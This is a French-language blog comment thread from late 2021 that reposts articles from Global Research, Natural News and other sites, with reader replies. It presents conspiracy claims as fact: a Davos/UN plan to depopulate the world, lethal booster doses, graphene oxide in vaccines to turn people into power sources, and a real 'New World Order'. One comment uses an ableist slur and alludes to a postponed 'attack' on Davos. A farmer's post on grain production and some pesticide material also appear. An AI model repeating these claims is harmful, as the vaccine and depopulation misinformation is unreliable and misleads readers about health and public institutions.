Pas besoin d'être un spécialiste des fusées pour se rendre compte que c'est une voie vers la destruction économique. Mais c'est en fait l'objectif de l'énergie « durable » de l'ONU 2030 ou de la Grande réinitialisation de Davos : réduire la population à grande échelle. Nous, les humains, sommes les grenouilles que l'on fait lentement bouillir. Et maintenant, les pouvoirs en place font vraiment monter la température.
The original source of this article is Global Research.
https://www.lewrockwell.com/2021/12/no_author/the-green-agenda-and-the-plan-to-collapse-the-industrial-world-economy/
L'attentat de Davos est remis à plus tard.
SupprimerLes trisomiques au pouvoir ne seront pas supprimés !
Après s'être fait piquer en direct à la télé avec du sérum phy (eau salée), les ordures qui dirigent continuent d'appliquer le plan 'Dépopulation21' avec une 4ème dose létale, 5ème, 6ème si nécessaire ! Jusqu'au dernier vivant sur Terre !
L’humain destiné à produire de l’électricité. Le concept transhumaniste se clarifie.
RépondreSupprimerDÉCEMBRE 21, 2021
PAR LHK
(...) Et voilà qu’en avril 2021, Swissinfo a présenté une startup suisse cette fois qui ose le projet (à prendre très au sérieux) de transformer le corps humain en central électrique. Et le référent pour symboliser le bénéfice est la consommation électrique d’une télévision. Comme si le divertissement continuera de faire partie du nouveau paradigme sociétal.
«Chaque jour, un adulte libère en moyenne trois kilowattheures d’énergie, une quantité qui pourrait faire fonctionner une télévision LCD pendant 30 heures.»
Franco Membrini, Mithras https://www.swissinfo.ch/fre/quand-le-corps-humain-devient-une-centrale-%C3%A9lectrique/46539074
Ainsi vous commencez à mieux comprendre pourquoi vous devez poser des panneaux solaires dont la fabrication n’a absolument rien d’écologique. En revanche, le jour où les humanoïdes produiront l’électricité, il faudra bien la transmettre vers une centrale qui à son tour l’utilisera pour maintenir la machine informationnelle, ses blockchains et autres accessoires cryptos.
Le promoteur de la Tour de Babel était un petit joueur à côté de la machinerie qui se met en place.
Et ami lecteur, l’importance de la présence de l’oxyde de graphène que l’on retrouve abondamment dans les revues scientifiques en tant que composant de « vaccins » devient clairement indispensable à ce projet écolo.
Reste plus qu’à officialiser la présence de ce superconducteur électrique ET électronique dans les fioles de « vaccins », ce qui n’est pas dans les plans de nos autorités sanitaires. Il suffirait de mandater n’importe quel laboratoire indépendant avec la mission non de détecter des ARN, mais des nanoparticules de graphènes (y compris des dots quantiques). C’est facile et rapide. Et là on verra bien si les analyses au microscope (sang de vaccinés et fiole) sont confirmées.
A propos de vaccins, aux dernières nouvelles:
… mais dans le même papier de Reuters tout de même, on nous rapporte les propos de la présidente de la Commission européenne qui dit que le certificat vaccinal ne dépassera pas les 3 mois.
La présidente de la Commission, Ursula von der Leyen, a déclaré vendredi qu’elle avait déclaré aux dirigeants européens réunis pour un sommet à Bruxelles que l’exécutif européen présenterait un acte délégué sur les laissez-passer COVID. « Nous assurerons une approche commune sur les rappels et la durée de validité du certificat. Ainsi, les rappels sont recommandés au plus tard six mois après la vaccination complète, et le certificat restera valable pendant une période de grâce de trois mois au-delà. »
https://www.reuters.com/world/europe/eu-commission-head-says-booster-shots-should-come-within-six-months-2021-12-17/
RépondreSupprimerLHK
Merci à Nicolas Bonnal qui m’a transmis l’article de Swissinfo.
Note : Je vous laisse chercher dans le site les articles sur le Transhumanisme, NBIC, Graphène, Nanotechnologie. Vous en trouverez beaucoup. Ça peut aider à comprendre cette approche hautement complexe qui vise la transformation de l’humain en humanoïde
https://lilianeheldkhawam.com/2021/12/21/lhumain-destine-a-produire-de-lelectricite-le-concept-transhumaniste-se-clarifie/
Population mondiale et... alimentation (partie 1)
RépondreSupprimer21 Décembre 2021
Willi l'agriculteur*
Population mondiale (en bleu) et production mondiale de céréales (en rouge) de 1960 à 2018 avec projections jusqu'à 2050.
- voir graph sur site -
L'augmentation de la population mondiale a une influence sur de nombreux facteurs que j'aimerais aborder en plusieurs parties. Je commencerai par l'alimentation.
Dans le graphique, la population mondiale (en milliards) et la production céréalière (en milliards de tonnes) sont représentées ensemble. En 1960, une population d'environ 3 milliards de personnes disposait d'environ 0,9 milliard de tonnes de céréales (maïs et riz compris), ce qui correspond à une quantité d'environ 0,29 tonne par citoyen du monde.
En 2018, les quelque 7,6 milliards d'habitants disposaient d'une récolte de près de 2,96 milliards de tonnes, ce qui correspond à une quantité de 0,39 t par citoyen de la planète. Si l'on continue à calculer avec les chiffres de 2018 et que l'on adopte un modèle de croissance moyen pour la population mondiale, celle-ci devrait atteindre 9,08 milliards d'habitants en 2050. Pour que cette population reçoive la même quantité de céréales par habitant, il faudra 3,5 milliards de tonnes de céréales. Cela représente 500 millions de tonnes de plus qu'en 2018, et ce en seulement 30 ans. Mais même en 2030, environ 250 millions de tonnes supplémentaires seront nécessaires pour nourrir les 8,2 millions d'habitants.
Les chiffres calculés ici sont des extrapolations des 60 dernières années. Rien ne permet aujourd'hui d'affirmer que l'évolution sera sensiblement différente. Étant donné que l'augmentation de la population mondiale nécessite davantage de logements et d'autres infrastructures et que, dans le même temps, il faut éviter autant que possible d'ouvrir de nouvelles surfaces cultivables, une intensification au moins du même ordre de grandeur que celle des dernières décennies est nécessaire sur la surface cultivable qui se réduit.
La politique actuelle de l'UE – de la ferme à la table, Pacte Vert (Farm to Fork, Green Deal) – entraînerait une baisse de la production (entre autres 25 % de bio, moins 50 % de phytosanitaires). Cela a un impact négatif sur les quantités disponibles et entraînera par la suite une hausse significative des prix des denrées alimentaires.
Un changement des habitudes alimentaires, en abandonnant la viande au profit d'une alimentation plus végétale, permettrait de changer la donne. Mais seulement si cela était réalisé à l'échelle mondiale et en peu de temps. L'UE, avec ses quelque 450 millions d'habitants, ne joue qu'un rôle secondaire dans ce contexte.
* Source : Weltbevölkerung und ... Ernährung (Teil 1) - Bauer Willi
https://seppi.over-blog.com/2021/12/population-mondiale-et.alimentation-partie-1.html
(...) il faut éviter autant que possible d'ouvrir de nouvelles surfaces cultivables (...)
SupprimerPolitique nazie ! alors qu'il y a DES millions d'hectares inoccupés, en friche ou en forêts inutiles !
A savoir Qu'est-ce que l'alimentation ?
L'alimentation est de prendre sur terre ou dans la terre de quoi se nourrir et de redéposer 100 % de la nourriture consommée !
Notre planète peut produire x milliards de tonnes de ci ou de çà elle ne pèsera pas un gramme de plus ou de moins !
Willi Bauer ne sait pas de quoi il parle et se fout de la gueule des gens !
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(...) • En 1975, un hectare nourrissait dans le monde 3 personnes, demain en 2020 ce même hectare devra nourrir 8 personnes.
• En 1960, il fallait environ 8 heures de SMIC pour se payer un kg de viande (jambon ou steak), en 1990, il en fallait moins de deux.
De la même manière le beurre, les pâtes ou le pain ont vu leur prix d'achat divisé par un facteur de 5 à 10.
Cela a permis de faire passer le coût de l'alimentation dans les ménages de 35% en 1970 à moins de 14% actuellement.
Dans le même temps la part des dépenses de services et de loisirs est passée de 34% à plus de 50%.
GLOBALEMENT AUJOURD'HUI, UN AGRICULTEUR FRANÇAIS NOURRIT 60 PERSONNES ALORS QU'EN 1960, IL NOURRISSAIT 15 PERSONNES POUR DEUX FOIS PLUS CHER.
Une enquête choquante révèle que les 5 plus grandes entreprises de pesticides au monde utilisent des pesticides hautement dangereux (HHP) et concentrent ces produits dans les pays en développement
RépondreSupprimerLundi 20 décembre 2021
par : Mary Villareal
(Natural News) Une analyse des données a révélé que les habitants des pays en développement sont plus susceptibles de souffrir d'une exposition à des pesticides classés comme hautement dangereux pour la santé humaine et l'environnement. Cette analyse a également montré que les cinq principaux fabricants de pesticides au monde gagnent des milliards avec ces mêmes produits chimiques.
Les mêmes pesticides contribuent également à la disparition des populations d'abeilles, qui sont nécessaires pour maintenir les sources de nourriture.
Les ventes de pesticides des grandes sociétés pharmaceutiques « très dangereuses »
Les chercheurs ont découvert que la vente de pesticides hautement dangereux (HHP) se produit de manière disproportionnée dans les pays en développement. Ceux-ci ont tendance à avoir moins de réglementations que les pays industrialisés. Par exemple, les ventes de HHP atteignent 11 % au Royaume-Uni, mais en Inde, elles représentent près de 60 % des ventes de pesticides.
Ce rapport d'une équipe d'enquête s'est concentré sur les pratiques d'entreprises telles que Bayer, BASF, Corteva, FMC et Syngenta. Toutes ces entreprises continuent de vendre des HHP tels que les néonicotinoïdes et le glufosinate, des produits chimiques qui ont été interdits dans certaines parties du monde.
Les principaux analystes agro-industriels de Phillips McDougall se sont penchés sur les données d'enquêtes auprès des acheteurs, en se concentrant sur les meilleurs vendeurs dans les 43 principaux pays acheteurs de pesticides. Les données ont montré que si la réglementation arrêtait la vente de certains pesticides en Europe, aux États-Unis et au Canada, elle ne ralentissait guère les entreprises chimiques, qui vendaient encore pour 4,7 milliards de dollars de produits en 2018.
Bayer a qualifié l'analyse de trompeuse mais n'a fourni aucune preuve pour rejeter l'évaluation. Cependant, un porte-parole de Bayer a déclaré que l'agriculture est très différente d'une région à l'autre en raison de divers facteurs tels que les climats, les parasites et les cultures.
Brighteon.TV
Parce que l'enquête s'est concentrée uniquement sur les ventes de 43 pays, elle a couvert moins de la moitié des ventes mondiales de ces entreprises, ce qui suggère qu'elles ont en fait gagné des milliards de plus à partir de pesticides que les agences de réglementation jugeaient dangereux.
Les marchés les plus importants pour les HHP étaient les corps de maïs et de soja, et environ un quart des ventes de ces produits étaient connus pour être des cancérogènes humains pouvant présenter un danger pour la santé reproductive. Un autre 10 pour cent étaient toxiques pour les abeilles et quatre pour cent supplémentaires des produits chimiques sont extrêmement toxiques pour les humains. Chaque année, il y a environ 200 000 suicides liés à des empoisonnements aux pesticides, dont la plupart surviennent dans les pays en développement.
RépondreSupprimerMeriel Watts, conseillère scientifique et politique principale au Pesticide Action Network, a déclaré : « Cette enquête montre qu'il existe un énorme décalage entre ce que ces entreprises disent dans l'arène politique internationale et ce qu'elles font réellement.
Baskut Tuncak, le rapporteur spécial des Nations Unies sur les substances dangereuses et les droits de l'homme, a déclaré une affirmation similaire à celle de Watts, affirmant qu'« il est inapproprié pour les entreprises de tirer des revenus aussi importants des HHP de nos jours. L'utilisation continue de ces produits n'est pas durable et est à l'origine d'une multitude de violations des droits humains dans le monde.
Alternatives naturelles aux pesticides
L'exposition régulière aux pesticides et aux insecticides est toxique et a été associée à des maladies graves, allant des troubles respiratoires aux problèmes cardiovasculaires. Cependant, il existe des alternatives naturelles, dont certaines sont facilement disponibles dans la cuisine, pour éloigner les insectes et les parasites.
Brouillard salin - Cela aide à dissuader les parasites et à augmenter l'absorption nutritionnelle de vos plantes, comme le magnésium, le phosphore et le soufre. Ajoutez simplement du sel à l'eau et remuez bien la solution. Vaporisez-le régulièrement sur vos plantes pour éloigner les parasites.
Spray à l'oignon et à l'ail — Prenez une gousse d'ail et un oignon de taille moyenne et ajoutez-y de l'eau. Laissez-les reposer dans l'eau pendant un moment et ajoutez une cuillère à café de poivre de Cayenne et une pincée de savon liquide au mélange. Vaporisez-le régulièrement sur vos plantes pour vous assurer qu'il n'y aura pas d'infestation de vos produits.
Thé aux fleurs de chrysanthème — Les fleurs de chrysanthème contiennent un puissant composé chimique végétal appelé pyrèthre, et on pense qu'il endommage le système nerveux des insectes et des parasites. Faites simplement bouillir des fleurs séchées dans une casserole remplie d'eau pendant environ 20 minutes, filtrez, laissez refroidir et ajoutez-les à votre flacon pulvérisateur pour les utiliser régulièrement pour les plantes. Celui-ci peut être conservé jusqu'à deux mois.
Avec ces alternatives, vous pouvez éloigner les parasites de votre jardin sans absorber vous-même les poisons.
En savoir plus sur le fait de garder les choses organiques et non toxiques sur Natural.news.
Sources include:
WakingTimes.com
Unearthed.Greenpeace.org
TheGuardian.com
Food.NDTV.com
https://www.naturalnews.com/2021-12-20-shocking-investigation-reveals-top-5-pesticide-companies-in-the-world-use-highly-hazardous-pesticides-hhp-and-concentrate-these-products-in-developing-nations.html
En Europe ce sont pas moins de 80 % des fruits & légumes qui sont importés !!!
SupprimerUn responsable australien de la santé devient le dernier occidental à faire référence au « nouvel ordre mondial » – c'est VRAI, et c'est ici
RépondreSupprimerLundi 20 décembre 2021
par : JD Heyes
(Natural News) Les autoritaires qui dirigent l'Australie ont vraiment révélé la vraie nature de leurs convictions politiques à l'ère de COVID, et ce n'est pas joli - mais la très mauvaise nouvelle est qu'ils ne sont en fait pas différents des gauchistes tyranniques de tout l'Occident, y compris « Démocrates » aux États-Unis.
L'Australie était déjà bien connue pour être revenue d'une démocratie fonctionnelle à la colonie pénitentiaire qu'elle avait fondée il y a des siècles par l'Empire britannique, les dirigeants australiens ayant exploité chaque once de la pandémie pour exercer des pouvoirs dictatoriaux sous le faux prétexte de garder les citoyens 'en sécurité.'
Mais dans de récents commentaires publics, un responsable australien de la santé a laissé échapper que le «Nouvel Ordre Mondial» des années 1990 à l'époque aux États-Unis. Le président George H. W. Bush a parlé à la suite de la première guerre du Golfe n'est pas un concept qui a disparu. Au contraire, comme nous le voyons, il est bien vivant et progresse quotidiennement alors que le virus continue d'être exploité.
Ces derniers jours, les autorités sanitaires australiennes ont modifié leurs normes COVID inhabituellement strictes pour assouplir certains des mandats sur les blocages. Mais la Première ministre de l'État de Nouvelle-Galles du Sud, Gladys Berejiklian, a averti que lors de la réouverture, il y aurait forcément de nouveaux cas de virus, ce qui, bien sûr, nécessitera de nouveaux verrouillages et restrictions.
Et puis elle a largué cette bombe : le pays – l'un des rares sur la planète qui exige que les citoyens fournissent une bonne raison pour laquelle ils veulent partir, au cas où vous ne le sauriez pas – a prévu de suivre les gens aussi dans le « » Nouvel ordre mondial."
Brighteon.TV
"Nous examinerons à quoi ressemble la recherche des contacts dans le nouvel ordre mondial", a-t-elle déclaré, laissant tomber les mâchoires dans le monde entier.
Le ministre de la Santé de la Nouvelle-Galles du Sud, Brad Hazzard, a également utilisé l'expression récemment et à plusieurs reprises.
« Il s’agit d’une pandémie mondiale, c’est un événement sur 100 ans, vous pouvez donc vous attendre à ce que nous ayons une transmission de temps en temps, et c’est comme ça. Nous devons accepter qu'il s'agit du nouvel ordre mondial », a-t-il également déclaré.
Mais comme leurs homologues propagandistes américains, les médias australiens étaient là pour insister sur le fait qu'il n'y a pas de théorie du complot ici – tout va bien, comme l'a rapporté l'ABC :
RépondreSupprimerUn certain nombre de TikToks actuellement viraux utilisent une capture du ministre de la Santé de la Nouvelle-Galles du Sud, Brad Hazzard, décrivant la pandémie comme le «nouvel ordre mondial» lors d'une conférence de presse en juillet.
Le Nouvel Ordre Mondial est une théorie du complot sans fondement qui dit qu'un gouvernement totalitaire émerge secrètement. Hack ne suggère pas que M. Hazzard faisait la promotion du complot lorsqu'il a utilisé ces mots.
Remarquez que ce ne sont pas des conspirations « sans fondement » parce que les mots ont un sens, et si ces responsables, avec George H. W. Bush au début des années 1990, avaient signifié autre chose qu'un « nouvel ordre mondial », ils auraient utilisé des mots différents.
Donc, si « nouvel ordre mondial » ne signifie pas ce qu'il implique, qu'est-ce que cela signifie ? Et pourquoi est-il encore utilisé ?
Nous savons pourquoi ; parce que ce n'est pas une conspiration et qu'il y a vraiment des gens en Occident (et certains en Asie) qui ont été occupés à se partager les ressources du monde et à les utiliser pour supprimer la grande majorité des « masses non lavées ». courant dans les pays communistes, marxistes et socialistes, mais un tel autoritarisme s'est maintenant répandu dans des « démocraties » comme celles d'Australie et d'Europe, et même dans notre république constitutionnelle, sous le couvert de « protéger les gens du COVID ».
Les changements qui ont été apportés aux sociétés à la demande des dirigeants qui cherchent à "combattre" le virus vont être permanents dans la mesure où les populations de nations autrefois libres permettent à ces changements d'être permanents.
C'est vraiment l'objet du « nouvel ordre mondial » : donner davantage de pouvoir à ceux qui détiennent déjà l'essentiel du pouvoir.
Les sources comprennent :
ABC.Net.au
NaturalNews.com
https://www.naturalnews.com/2021-12-20-australian-health-official-references-new-world-order-its-real.html
L'horreur étant qu'un nano-groupuscule de fous avec des armes dirige 8 milliards d'habitants !!
SupprimerA SAVOIR QUE C'EST LE PEUPLE QUI DIRIGE et non un gang de terroristes.